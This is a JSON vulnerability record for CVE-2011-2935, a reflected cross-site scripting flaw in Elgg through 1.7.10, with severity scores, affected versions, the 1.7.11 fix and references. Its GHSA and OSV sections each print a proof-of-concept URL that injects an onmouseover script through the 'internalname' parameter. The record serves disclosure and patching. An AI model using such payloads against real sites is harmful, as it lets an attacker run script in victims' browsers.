{"id":"CVE-2011-2935","aliases":["EUVD-2022-1783","GHSA-mcfm-j5g6-w26f"],"status":"published","title":"Elgg Reflected XSS Vulnerability","description":"Elgg through 1.7.10 has XSS","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-07","score":0.01057,"percentile":0.64677,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2019-11-12T13:45:01Z","modified":"2026-06-16T23:32:17Z","fixes":[{"ecosystem":"Packagist","package":"elgg/elgg","fixed_in":["1.7.11"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"elgg/elgg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.7.10"},{"fixed":"1.7.11"}]}]},{"source":"osv","ecosystem":"Packagist","package":"elgg/elgg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.11"}]}]}],"products":[{"vendor":"elgg","product":"elgg"}],"references":[{"url":"https://security-tracker.debian.org/tracker/CVE-2011-2935","tags":["vendor-advisory","x_refsource_DEBIAN","x_transferred","Third Party Advisory","web"]},{"url":"https://access.redhat.com/security/cve/cve-2011-2935","tags":["vendor-advisory","x_refsource_REDHAT","x_transferred","Not Applicable","Third Party Advisory"]},{"url":"https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities","tags":["x_refsource_MISC","x_transferred","Exploit","Mailing List","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2011-2935","tags":["advisory"]},{"url":"https://github.com/Elgg/Elgg/issues/3544","tags":["web"]},{"url":"https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04","tags":["web"]},{"url":"https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released","tags":["web"]},{"url":"http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mcfm-j5g6-w26f"},{"url":"https://github.com/Elgg/Elgg","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2011-2935","description":"Elgg through 1.7.10 has XSS","status":"published","published":"2019-11-12T13:45:01Z","modified":"2024-08-06T23:15:32.022Z","updated_at":"2026-11-02T14:35:36.968002Z"}],"euvd":[{"id":"EUVD-2022-1783","description":"Elgg through 1.7.10 has XSS","status":"published","published":"2019-11-12T13:45:01Z","modified":"2024-08-06T23:15:32Z","updated_at":"2026-11-03T01:39:53.544801Z"}],"ghsa":[{"id":"GHSA-mcfm-j5g6-w26f","title":"Elgg Reflected XSS Vulnerability","description":"### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```","status":"published","published":"2022-04-22T00:24:11Z","modified":"2024-01-12T22:05:22Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:37:30.812736Z"}],"nvd":[{"id":"CVE-2011-2935","description":"Elgg through 1.7.10 has XSS","status":"published","published":"2019-11-12T14:15:10.593Z","modified":"2026-06-16T23:32:17.123Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:02:12.945371Z"}],"osv":[{"id":"GHSA-mcfm-j5g6-w26f","title":"Elgg Reflected XSS Vulnerability","description":"### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```","status":"published","published":"2022-04-22T00:24:11Z","modified":"2024-01-12T22:26:37.605394Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.811331Z"}]}}